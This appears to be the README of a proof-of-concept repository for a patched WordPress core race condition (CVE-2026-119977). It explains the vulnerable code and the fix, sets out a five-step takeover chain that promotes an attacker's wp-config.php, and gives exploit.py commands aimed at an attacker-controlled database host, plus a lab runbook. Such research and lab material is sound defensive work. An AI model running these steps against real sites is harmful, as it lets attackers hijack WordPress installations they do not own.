
Proof-of-concept and lab for CVE-2026-119977, a WordPress core race-condition RCE: passive check, race-window watch, staged wp-config.php promotion, plus detection guidance.
Public research PoC — patched. Fixed in WordPress 7.1.4 (2026-10-28, backported to every branch back to 4.7). Nothing here is zero-day: the CVE is published, the difference between 7.1.3 and 7.1.4 is public, and the flaw is in CISA KEV. Use it only on systems you own or are engaged to test.
| CVE | CVE-2026-119977 (NVD) |
| CNA / advisory | Wordfence — WordPress 7.1.4 security release |
| Component | WordPress Core, wp-admin/includes/class-wp-upgrader.php + wp-admin/includes/update-core.php |
| Affected | 4.7.0 – 7.1.3 (all branches, per-branch backports of the fix) |
| Fixed | 7.1.4 (2026-10-28) and the matching release on every branch back to 4.7 |
| CWE | CWE-367 — time-of-check to time-of-use race |
| CVSS 3.1 | 8.1 High — AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Published | 2026-10-31 |
| Exploitation | CISA KEV 2026-11-03 (federal fix deadline 2026-11-06); Wordfence reports ~63k automated probes, no confirmed compromises |
| Auth | none (unauthenticated); requires a full-package core update to be in flight |
exploit.py # check / watch / exploit, --authorized gate, built-in bait MySQL
lab/
README.md # step-by-step runbook + bait/troubleshooting reference
reset.sh # builds the vulnerable tree and the patched control
router.php # truthful 404s for PHP's built-in server
demo.mp4 # 28 s: browser pane + script pane, same run
screenshots/ # 5 stills from the live run
lab-verification.log # captured output of the full chain
LICENSE
Two lines, both verified against the 7.1.3 release tree and the 7.1.4 fix diff.
wp-admin/includes/class-wp-upgrader.php:378 (unpack_package()):$upgrade_folder = $wp_filesystem->wp_content_dir() . 'upgrade/';
// Clean up contents of upgrade directory beforehand. <-- no index.php until 7.1.4
...
// We need a working directory - strip off any .tmp or .zip suffixes.
$working_dir = $upgrade_folder . basename( basename( $package, '.tmp' ), '.zip' );
download_package() hands unpack_package() the path returned by
download_url() / wp_tempnam(), which is /tmp/wordpress-<version> —
the release URL basename with the extension stripped. The staging directory
is therefore predictable: wp-content/upgrade/wordpress-7.1.4/.
The unzipped release contains wordpress/wp-admin/setup-config.php.
That file runs with WP_SETUP_CONFIG / WP_INSTALLING defined and without
a live wp-config.php, and the staging directory is inside the web root.
Anyone who reaches it while it exists can drive the installer.
wp-admin/includes/update-core.php:1549 (update_core()), pre-7.1.4:
$skip = array( 'wp-content', 'wp-includes/version.php' );
...
$result = copy_dir( $from . $distro, $to, $skip ); // line 1639
wp-config.php is not in the skip list, so a wp-config.php written into
the staged tree by the installer is copied over the live wp-config.php when
the update finishes. The attacker controls DB_NAME, DB_USER,
DB_PASSWORD, DB_HOST and $table_prefix of the promoted configuration.
wp-content/upgrade/wordpress-<version>/
appears, world-readable through the web server, for seconds.wp-content/upgrade/wordpress-<target-version>/wordpress/wp-admin/setup-config.php.POST setup-config.php?step=2 with attacker DB credentials.
setup-config.php connects to that DB, requires the SELECT <prefix> probe
to fail, then writes wp-config.php into the staged tree.update_core() finishes unpacking and runs copy_dir($from, ABSPATH, $skip);
the attacker's config is promoted over the live one.DB_HOST at a DB you
control, log in with an admin row you planted, then use the theme/plugin
editor (or upload a plugin) for code execution.Steps 1–4 are what this PoC demonstrates. Step 5 is ordinary "I own the database" WordPress takeover, not part of the CVE.
+ private function get_working_dir_name( $package ) {
+ $name = basename( basename( $package, '.tmp' ), '.zip' );
+ return $name . '-' . wp_generate_password( 16, false ); // unpredictable
+ }
...
- $working_dir = $upgrade_folder . basename( basename( $package, '.tmp' ), '.zip' );
+ $working_dir = $upgrade_folder . $this->get_working_dir_name( $package );
+ // + wp-content/upgrade/index.php is written and preserved (no directory index)
- $skip = array( 'wp-content', 'wp-includes/version.php' );
+ $skip = array( 'wp-content', 'wp-includes/version.php', 'wp-config.php' );
exploit.py (stdlib + requests). Non-destructive check is the default;
watch/exploit require --authorized.
# 1. passive: is a staged installer reachable right now, is the upgrade dir hardened?
python3 exploit.py --target https://blog.example --versions 7.1.3,7.1.4
# 2. poll for the race window (target = the version being installed)
python3 exploit.py --target https://blog.example --mode watch --authorized \
--versions 7.1.4 --threads 8 --duration 600
# 3. win the window and plant the config; --bait runs a fake MySQL so step=2
# succeeds without a real database and proves promotion out-of-band
python3 exploit.py --target https://blog.example --mode exploit --authorized \
--versions 7.1.4 --bait 0.0.0.0:3306 \
--db-host attacker.example --db-name baitdb --db-user bait --db-pass baitpass
Notes:
--versions must be the release being installed (the auto-update target),
not the version currently running. Localized packages add a locale suffix:
--locales en_US,km → wordpress-7.1.4-en_US.SELECT @@SESSION.sql_mode with a
result set, SET ... with OK, and SELECT <prefix> with a syntax error —
exactly what setup-config.php needs to proceed to writing the file.--db-user, and the script reports PROMOTED
only for connections that arrive after the staged write.Everything runs from CVE_labs/CVE-2026-119977/. Deep reference (bait protocol,
troubleshooting, screenshots): lab/README.md.
Video walkthrough of the same steps: lab/demo.mp4 (28 s, browser + script side by side).
Step 0 — build the vulnerable state
bash lab/reset.sh
Builds lab/runtime/live = 7.1.3 with a 7.1.4 package already unpacked inside
it (the window), and lab/runtime/fixed = 7.1.4 + the upgrade/index.php
guard. Zips download once into lab/zips/ (gitignored).
Step 1 — serve both docroots
php -S 127.0.0.1:8099 -t lab/runtime/live lab/router.php &
php -S 127.0.0.1:8100 -t lab/runtime/fixed lab/router.php &
Check: staged installer on :8099 → 200, upgrade/index.php on :8099 →
404, same installer on :8100 → 404. router.php is required — PHP's
built-in server returns a fake 200 for missing paths.
Step 2 — passive check (read-only GETs, exit 2 = exploitable)
python3 exploit.py --target http://127.0.0.1:8099 --versions 7.1.3,7.1.4